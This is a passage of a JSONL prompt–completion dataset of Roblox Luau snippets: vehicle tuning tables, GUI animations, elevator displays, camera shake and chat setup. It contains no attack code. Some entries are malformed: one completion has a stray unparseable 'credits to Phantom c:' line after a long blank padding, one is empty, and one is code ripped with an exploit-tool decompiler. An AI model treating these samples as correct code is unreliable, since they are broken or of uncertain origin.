_MSteer\n\t\tscript.Parent.Values.Velocity.Value = car.DriveSeat.Velocity\n\t\t\n\tend\n"} +{"prompt": "--!strict", "completion": "\nexport type Array = { [number]: T }\n\nreturn {\n\tconcat = require(script.concat),\n\tevery = require(script.every),\n\tfilter = require(script.filter),\n\tfind = require(script.find),\n\tfindIndex = require(script.findIndex),\n\tforEach = require(script.forEach),\n\tfrom = require(script.from),\n\tincludes = require(script.includes),\n\tindexOf = require(script.indexOf),\n\tisArray = require(script.isArray),\n\tjoin = require(script.join),\n\tmap = require(script.map),\n\treduce = require(script.reduce),\n\treverse = require(script.reverse),\n\tshift = require(script.shift),\n\tslice = require(script.slice),\n\tsome = require(script.some),\n\tsort = require(script.sort),\n\tsplice = require(script.splice),\n\tunshift = require(script.unshift),\n}\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nElevator:WaitForChild(\"Direction\").Changed:connect(function(val)\n if val == 1 then\n\t\tThis.Display.ARW1.U.Transparency = 0\n\t\tThis.Display.ARW1.D.Transparency = 1\n elseif val == -1 then\n\t\tThis.Display.ARW1.U.Transparency = 1\n\t\tThis.Display.ARW1.D.Transparency = 0\n\telse\n\t\tThis.Display.ARW1.U.Transparency = 1\n\t\tThis.Display.ARW1.D.Transparency = 1\n end\nend)\n"} +{"prompt": "--//SS6 PLUGIN; SPLASH//--", "completion": "\n --//INSPARE 2017//--\n\nlocal a = script.Parent.Main_Frame.A\nlocal b = script.Parent.Main_Frame.B\nlocal c = script.Parent.Main_Frame.C\nlocal d = script.Parent.Main_Frame.D\nlocal e = script.Parent.Main_Frame.E\nlocal ai = script.Parent.Main_Frame.A.Frame.ImageLabel\nlocal bi = script.Parent.Main_Frame.B.Frame.ImageLabel\nlocal ci = script.Parent.Main_Frame.C.Frame.ImageLabel\nlocal di = script.Parent.Main_Frame.D.Frame.ImageLabel\nlocal ei = script.Parent.Main_Frame.E.Frame.ImageLabel\nlocal i = script.Parent.Main_Frame.D.IN\nlocal s = script.Parent.Main_Frame.F.SPARE\nwait(.2)\n\nscript.Parent:TweenPosition(UDim2.new(0.5,0,0.5,0),\"Out\",\"Quint\",.75)\nscript.Parent.Main_Frame:TweenPosition(UDim2.new(0.6,0,0.5,0),\"Out\",\"Sine\",7.5)\nfor f=1,0,-0.1 do\n\tai.ImageTransparency = f\n\tbi.ImageTransparency = f\n\tci.ImageTransparency = f\n\tdi.ImageTransparency = f\n\tei.ImageTransparency = f\n\ti.TextTransparency = f\n\ts.TextTransparency = f\n\twait()\nend\nwait(.5)\nfor f=0,0.25,0.01 do\n\ta.BackgroundTransparency = 1-f\n\tb.BackgroundTransparency = 1-f\n\tc.BackgroundTransparency = 1-f\n\td.BackgroundTransparency = 1-f\n\te.BackgroundTransparency = 1-f\n\twait()\nend\nwait(1)\nfor f=0.25,0,-0.05 do\n\ta.BackgroundTransparency = 1-f\n\tb.BackgroundTransparency = 1-f\n\tc.BackgroundTransparency = 1-f\n\td.BackgroundTransparency = 1-f\n\te.BackgroundTransparency = 1-f\n\twait()\nend\nwait(0.25)\nfor f=0,1,0.2 do\n\tai.ImageTransparency = f\n\tbi.ImageTransparency = f\n\tci.ImageTransparency = f\n\tdi.ImageTransparency = f\n\tei.ImageTransparency = f\n\ti.TextTransparency = f\n\ts.TextTransparency = f\n\twait()\nend\nwait()\nscript.Parent:Destroy()\n"} +{"prompt": "--[=[\n\t@param value T\n\t@return Option\n\n\tCreates an Option instance with the given value. Throws an error\n\tif the given value is `nil`.\n]=]", "completion": "\nfunction Option.Some(value)\n\tassert(value ~= nil, \"Option.Some() value cannot be nil\")\n\treturn Option._new(value)\nend\n\n"} +{"prompt": "-------------------------", "completion": "\nwhile true do\nPuerta1.BodyVelocity.velocity = Vector3.new(-0.5, 0, 0)\nPuerta2.BodyVelocity.velocity = Vector3.new(0.5, 0, 0)\nwait(8)\nPuerta1.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nPuerta2.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nbreak\nend\n"} +{"prompt": "--Get average angular velocity from all 4 wheels", "completion": "\nfunction Chassis.GetAverageVelocity()\n\tlocal t = 0\n\tfor _, motor in pairs(Motors) do\n\t\tt = t + getMotorVelocity(motor)\n\tend\n\treturn t * (1/#Motors)\nend\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- Sets whether suspension is enabled for PGS\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 700\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .1\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 700\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.RAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .1\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n"} +{"prompt": "-- Fonction pour masquer l'\u00e9cran GUI lors de la d\u00e9connexion ou de la mort d'un joueur", "completion": "\nlocal function hideGUI(player)\n\tlocal playerGui = player:FindFirstChild(\"PlayerGui\")\n\tif playerGui then\n\t\tlocal guiInstance = playerGui:FindFirstChild(\"GUI\")\n\t\tif guiInstance then\n\t\t\tguiInstance:Destroy()\n\t\tend\n\tend\nend\n"} +{"prompt": "--Values--", "completion": "\nlocal car = script.Parent.Parent.Car.Value\nlocal FE = workspace.FilteringEnabled\nlocal _Tune = require(car[\"A-Chassis Tune\"])\nlocal Redline = _Tune.Redline\nlocal maxPSI = WasteGatePressure\nlocal totalPSI = 0\nlocal actualPSI = 0\nlocal CR = CompressionRatio\nlocal TC = TurboCount\nlocal handler = car:WaitForChild(\"UpdateAndMake\")\nlocal Values = script.Parent.Parent.Values\nlocal Throttle = script.Parent.Parent.Values.Throttle.Value\nlocal BOVFix = (1 - Throttle)\nlocal tester = 1\nlocal BOVact = 0\nlocal BOVact2 = 0\nlocal Whistle = car.DriveSeat:WaitForChild(\"Whistle\")\nlocal BOV = car.DriveSeat:WaitForChild(\"BOV\")\nWhistle:Play()\n\n\n\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nend)();\nreturn function(p1, p2, p3, p4, p5)\n\tlocal v1 = {};\n\tp2 = string.lower(p2);\n\tp4 = p4 or 0.15;\n\tif p2 == \"mousedown\" then\n\t\tv1[#v1 + 1] = p1.InputBegan:Connect(function(p6)\n\t\t\tlocal l__UserInputType__2 = p6.UserInputType;\n\t\t\tif l__UserInputType__2 == Enum.UserInputType.MouseButton1 or (l__UserInputType__2 == Enum.UserInputType.Touch and p6.UserInputState == Enum.UserInputState.Begin or p6.KeyCode == Enum.KeyCode.ButtonA) then\n\t\t\t\tu1.Sound.Play(p3, script, p4 * 2, p5 or 1);\n\t\t\tend;\n\t\tend);\n\telseif p2 == \"mouseup\" then\n\t\tv1[#v1 + 1] = p1.InputEnded:Connect(function(p7)\n\t\t\tlocal l__UserInputType__3 = p7.UserInputType;\n\t\t\tif l__UserInputType__3 == Enum.UserInputType.MouseButton1 or (l__UserInputType__3 == Enum.UserInputType.Touch and p7.UserInputState == Enum.UserInputState.End or p7.KeyCode == Enum.KeyCode.ButtonA) then\n\t\t\t\tu1.Sound.Play(p3, script, p4 * 2, p5 or 1);\n\t\t\tend;\n\t\tend);\n\telseif p2 == \"mouseenter\" then\n\t\tv1[#v1 + 1] = p1.MouseEnter:Connect(function()\n\t\t\tu1.Sound.Play(p3, script, p4, p5 or 1);\n\t\tend);\n\telseif p2 == \"mouseleave\" then\n\t\tv1[#v1 + 1] = p1.MouseLeave:Connect(function()\n\t\t\tu1.Sound.Play(p3, script, p4, p5 or 1);\n\t\tend);\n\telseif p2 == \"mouseclick\" then\n\t\tv1[#v1 + 1] = p1.Activated:Connect(function()\n\t\t\tu1.Sound.Play(p3, script, p4, p5 or 1);\n\t\tend);\n\tend;\n\treturn function()\n\n\t\t\tfor v4, v5 in ipairs(v1) do\n\t\t\tif not v4 then\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tv5:Disconnect();\t\t\n\t\tend;\n\tend;\nend;\n"} +{"prompt": "-----------------------------------------------------------------------------------------------", "completion": "\n\nscript.Parent:WaitForChild(\"Spd\")\n\nlocal player=game.Players.LocalPlayer\nlocal mouse=player:GetMouse()\n\nlocal car = script.Parent.Parent.Car.Value\ncar.DriveSeat.HeadsUpDisplay = false\n\nlocal _Tune = require(car[\"A-Chassis Tune\"])\n\nlocal _pRPM = _Tune.PeakRPM\nlocal _lRPM = _Tune.Redline\n\nlocal currentUnits = 1\nlocal revEnd = 8\n\nlocal inTac = car.Body.Dash.D.G.Tac.Needle\nlocal inspd = car.Body.Dash.D.G.Spd.Needle"} +{"prompt": "--TO THE PART YOU WANT TO MAKE kill brick, INSERT A \"BoolValue\" NAMED kills (no capitals) but it will only work when your stage is working in - game.", "completion": "\nscript:Destroy()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ncredits to Phantom c:\nprint(\"Hello world!\")\n"} +{"prompt": "--[[\n\tLibrary\n]]", "completion": "\n\nlocal CoreLibrary = {}\n\nfunction CoreLibrary.addPlayer(state, data: TypeDefinitions.PlayerData)\n\tlocal weapons = {}\n\tfor weaponId, weaponData in pairs(Conf.weapon_system.weapons) do\n\t\tweapons[weaponId] = shallowCopy(weaponData.default_state)\n\tend\n\t\n\tstate[data.player] = {\n\t\tequipped = nil,\n\t\tweapons = weapons,\n\t}\nend\n\nfunction CoreLibrary.removePlayer(state, data: TypeDefinitions.PlayerData)\n\tstate[data.player] = nil\nend\n\nreturn CoreLibrary\n"} +{"prompt": "---------------------------------\n---Day/Night Script for Blocks---\n---------------------------------", "completion": "\nb = script.Parent\n\nlocal oh,om = 6,10\t-- Open Time (hours,minutes) DON'T TOUCH!\nlocal ch,cm = 17,30\t-- Close Time (hours, minutes) DON'T TOUCH!\n\nlocal l = game:service(\"Lighting\")\nif (om == nil) then om = 0 end\nif (cm == nil) then cm = 0 end\n\n\nfunction TimeChanged()\n\tlocal ot = (oh + (om/60)) * 60\n\tlocal ct = (ch + (cm/60)) * 60\n\tif (ot < ct) then\n\t\tif (l:GetMinutesAfterMidnight() >= ot) and (l:GetMinutesAfterMidnight() <= ct) then\nb.Material = (\"SmoothPlastic\")\nb.Color = Color3.fromRGB(255, 195, 0)\n\t\telse\nb.Material = (\"Neon\")\nb.Color = Color3.fromRGB(200, 160, 0)\n\t\tend\n\telseif (ot > ct) then\n\t\tif (l:GetMinutesAfterMidnight() >= ot) or (l:GetMinutesAfterMidnight() <= ct) then\nb.Material = (\"SmoothPlastic\")\nb.Color = Color3.fromRGB(255, 195, 0)\n\t\telse\nb.Material = (\"Neon\")\nb.Color = Color3.fromRGB(200, 160, 0)\n\t\tend\n\tend\nend\n\nTimeChanged()\ngame.Lighting.Changed:connect(function(property)\n\t\t\tif (property == \"TimeOfDay\") then\n\t\t\t\tTimeChanged()\n\t\t\tend\n\t\tend)\n"} +{"prompt": "-- Nominal distance, set by dollying in and out with the mouse wheel or equivalent, not measured distance", "completion": "\nfunction BaseCamera:GetCameraToSubjectDistance()\n\treturn self.currentSubjectDistance\nend\n"} +{"prompt": "----------------------------------------------", "completion": "\n\nlocal debris = game:GetService(\"Debris\")\nwhile vehicle:FindFirstChild(\"StamperFloor\") or vehicle:FindFirstChild(\"StamperFloor2\") do vehicle.ChildRemoved:wait() end\nlocal vehicleSize = vehicle:GetModelSize().magnitude\n"} +{"prompt": "---//Variables//", "completion": "\nlocal Line = script.Parent.Label.Line\nlocal Label = script.Parent.Label\nlocal LabelShadow = script.Parent.Shadow\nlocal Plr = game.Players.LocalPlayer\nlocal PlayerScripts = Plr.PlayerScripts\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseCharacterController = {}\nBaseCharacterController.__index = BaseCharacterController\n\nfunction BaseCharacterController.new()\n\tlocal self = setmetatable({}, BaseCharacterController)\n\tself.enabled = false\n\tself.moveVector = ZERO_VECTOR3\n\tself.moveVectorIsCameraRelative = true\n\tself.isJumping = false\n\treturn self\nend\n\nfunction BaseCharacterController:OnRenderStepped(dt)\n\t-- By default, nothing to do\nend\n\nfunction BaseCharacterController:GetMoveVector()\n\treturn self.moveVector\nend\n\nfunction BaseCharacterController:IsMoveVectorCameraRelative()\n\treturn self.moveVectorIsCameraRelative\nend\n\nfunction BaseCharacterController:GetIsJumping()\n\treturn self.isJumping\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = true\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = true\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = false\n\t,CanBreak = true\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 1000\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = true\t\t--- Include the chambered bullet on next reload\n\t,Chambered = false\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = true\t\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 4\n\t,GunFOVReduction = 5\n\n\t,BoltExtend = Vector3.new(0, 0, 0.4)\n\t,SlideExtend = Vector3.new(0, 0, 0.4)\t"} +{"prompt": "-- When mouse released", "completion": "\nfunction onButton1Up(mouse)\n\t--print(\"Up\");\nend\n"} +{"prompt": "--[[Flip]]", "completion": "\n\n\tfunction Flip()\n\t\t--Detect Orientation\n\t\tif (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then\n\t\t\tFlipWait=tick()\n\t\t\t\n\t\t--Apply Flip\n\t\telse\n\t\t\tif tick()-FlipWait>=3 then\n\t\t\t\tFlipDB=true\n\t\t\t\tlocal gyro = car.DriveSeat.Flip\n\t\t\t\tgyro.maxTorque = Vector3.new(10000,0,10000)\n\t\t\t\tgyro.P=3000\n\t\t\t\tgyro.D=500\n\t\t\t\twait(1)\n\t\t\t\tgyro.maxTorque = Vector3.new(0,0,0)\n\t\t\t\tgyro.P=0\n\t\t\t\tgyro.D=0\n\t\t\t\tFlipDB=false\n\t\t\tend\n\t\tend\n\tend\n\n\tfunction AWD()\n\t\t\tif car.DriveSeat.AWD.Value then -- SET AWD\n\t\t\t\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then table.insert(Drive,v) end end end\n\t\t\telse --make RWD\n\t\t\t\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then table.remove(Drive,3) table.remove(Drive,4) end end end\n\t\t\tend\n\t\tend\n\t\t\n\t\tcar.DriveSeat.AWD.Changed:connect(function()\n\t\t\tAWD()\n\t\tend)\n\t\t\n\t\tAWD()\n"} +{"prompt": "-- \tHow many studs the ai can wander on the x and z axis in studs", "completion": "\n"} +{"prompt": "--generate templates", "completion": "\n\nfunction GT()\n\t---Clean\n\tfor _,v in pairs(ScrollFrame:GetChildren()) do\n\t\tif v:IsA(\"Frame\") then\n\t\t\tv:Destroy()\n\t\tend\n\tend\n\t---Generate\n\tfor _,v in pairs(CarStorage:GetChildren()) do\n\t\tlocal Templatecopy = Template:Clone()\n\t\tTemplatecopy.Parent = ScrollFrame\n\t\tTemplatecopy.CarName.Text = v.Name\n\t\tTemplatecopy.BuySpawn.VehicleName.Value = v.Name\n\t\tTemplatecopy.ImageFrame.ImageLabel.Image = v.Image.Value\n\t\tTemplatecopy.BuySpawn.BuySpawnScript.Disabled = false\n\tend\nend\t\nGT()\n"} +{"prompt": "--Invisible Knife--", "completion": "\n\nlocal Appearance = {\n\tTexture = \"\",\n\tBrickColor = BrickColor.new(\"Really black\"),\n\tMaterial = \"Plastic\",\n\tTransparency = 1,\n\tReflectance = 0,\n}\n\nreturn Appearance\n"} +{"prompt": "----- FLING -----", "completion": "\n\nfunction flingPlayer(player)\n\tplayer.Humanoid.PlatformStand = true\n\twait(math.random(1,2))\n\tplayer.Humanoid.PlatformStand = false\nend\n"} +{"prompt": "--Place the Shake event into ReplicatedStorage\n--Place this into StarterPlayerScripts", "completion": "\nlocal dropoff = 1.2 --how quickly you want the effect to fade away\nlocal sway = 5\n\nlocal cam = workspace.CurrentCamera\nlocal amount\n\ngame.ReplicatedStorage.Shake.OnClientEvent:connect(function(times, number)\n\tamount = number\n\tfor i = 1,times do\n\tfor i = 1,sway do\n\t\tgame:GetService(\"RunService\").RenderStepped:wait()\n\t\tcam.CFrame = cam.CFrame * CFrame.Angles(amount,amount/2,0)\n\tend\n\tfor i = 1,sway do\n\t\tgame:GetService(\"RunService\").RenderStepped:wait()\n\t\tcam.CFrame = cam.CFrame * CFrame.Angles(-amount,-amount/2,0)\n\tend\n\tamount = amount/dropoff\n\tend\nend)\n\n\n\n\n\n\n"} +{"prompt": "--[[\n\tConstants used throughout the testing framework.\n]]", "completion": "\n\nlocal TestEnum = {}\n\nTestEnum.TestStatus = {\n\tSuccess = \"Success\",\n\tFailure = \"Failure\",\n\tSkipped = \"Skipped\"\n}\n\nTestEnum.NodeType = {\n\tTry = \"Try\",\n\tDescribe = \"Describe\",\n\tIt = \"It\",\n\tBeforeAll = \"BeforeAll\",\n\tAfterAll = \"AfterAll\",\n\tBeforeEach = \"BeforeEach\",\n\tAfterEach = \"AfterEach\"\n}\n\nTestEnum.NodeModifier = {\n\tNone = \"None\",\n\tSkip = \"Skip\",\n\tFocus = \"Focus\"\n}\n\nreturn TestEnum\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t={\"Auto\", \"Semi\"}\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"RPM\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 3.20\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.42\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.75\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.38\t\t,\n\t\t--[[ 3 ]]\t\t1.72\t\t,\n\t\t--[[ 4 ]]\t\t1.34\t\t,\n\t\t--[[ 5 ]]\t\t1.11\t\t,\n\t\t--[[ 6 ]]\t\t.78\t\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "--- Parses all of the command arguments into ArgumentContexts\n-- Called by the command dispatcher automatically\n-- allowIncompleteArguments: if true, will not throw an error for missing arguments", "completion": "\nfunction Command:Parse (allowIncompleteArguments)\n\tlocal hadOptional = false\n\tfor i, definition in ipairs(self.ArgumentDefinitions) do\n\t\tlocal required = (definition.Default == nil and definition.Optional ~= true)\n\n\t\tif required and hadOptional then\n\t\t\terror((\"Command %q: Required arguments cannot occur after optional arguments.\"):format(self.Name))\n\t\telseif not required then\n\t\t\thadOptional = true\n\t\tend\n\n\t\tif self.RawArguments[i] == nil and required and allowIncompleteArguments ~= true then\n\t\t\treturn false, (\"Required argument #%d %s is missing.\"):format(i, definition.Name)\n\t\telseif self.RawArguments[i] or allowIncompleteArguments then\n\t\t\tself.Arguments[i] = Argument.new(self, definition, self.RawArguments[i] or \"\")\n\t\tend\n\tend\n\n\treturn true\nend\n"} +{"prompt": "-- Get a list of blocked users from the corescripts.\n-- Spawned because this method can yeild.", "completion": "\nspawn(function()\n\t-- Pcalled because this method is not released on all platforms yet.\n\tif LocalPlayer.UserId > 0 then\n\t\tpcall(function()\n\t\t\tlocal blockedUserIds = StarterGui:GetCore(\"GetBlockedUserIds\")\n\t\t\tif #blockedUserIds > 0 then\n\t\t\t\tlocal setInitalBlockedUserIds = DefaultChatSystemChatEvents:FindFirstChild(\"SetBlockedUserIdsRequest\")\n\t\t\t\tif setInitalBlockedUserIds then\n\t\t\t\t\tsetInitalBlockedUserIds:FireServer(blockedUserIds)\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend)\n\nspawn(function()\n\tlocal success, canLocalUserChat = pcall(function()\n\t\treturn Chat:CanUserChatAsync(LocalPlayer.UserId)\n\tend)\n\tif success then\n\t\tcanChat = RunService:IsStudio() or canLocalUserChat\n\tend\nend)\n\nlocal initData = EventFolder.GetInitDataRequest:InvokeServer()\n"} +{"prompt": "---------------\n--// Events\n---------------", "completion": "\nworkspace.Assets.Terrains.Beach.Touched:Connect(function(hit)\n\tif debounce == false and isAnimating == false then\n\n\t\tisAnimating = true\n\t\tdebounce = true\n\n\t\ttask.spawn(animateOn, OceanSound)\n\t\tanimateOff(WoodsSound)\n\n\t\tisAnimating = false\n\tend\nend)\n\nworkspace.Assets.Terrains.Grass.Touched:Connect(function(hit)\n\tif debounce == true and isAnimating == false then\n\n\t\tisAnimating = true\n\t\tdebounce = false\n\n\t\ttask.spawn(animateOn, WoodsSound)\n\t\tanimateOff(OceanSound)\n\n\t\tisAnimating = false\n\tend\nend)\n\n\n"} +{"prompt": "-- Ensures that all scripts included with a DevModule are marked as Disabled.\n-- This makes sure there are no race conditions resulting in the Install script\n-- running after the scripts included with the module.", "completion": "\nlocal function assertScriptsAreDisabled(devModuleScripts: { BaseScript })\n\tlocal enabledScripts = {}\n\n\tfor _, devModuleScript in ipairs(devModuleScripts) do\n\t\tif not devModuleScript.Disabled then\n\t\t\ttable.insert(enabledScripts, devModuleScript.Name)\n\t\tend\n\tend\n\n\tif #enabledScripts > 0 then\n\t\terror(constants.ENABLED_SCRIPTS_ERROR:format(table.concat(enabledScripts, \", \")))\n\tend\nend\n\ntype Options = { verboseLogging: boolean?, pruneDevelopmentFiles: boolean? }\n\nlocal defaultOptions: Options = 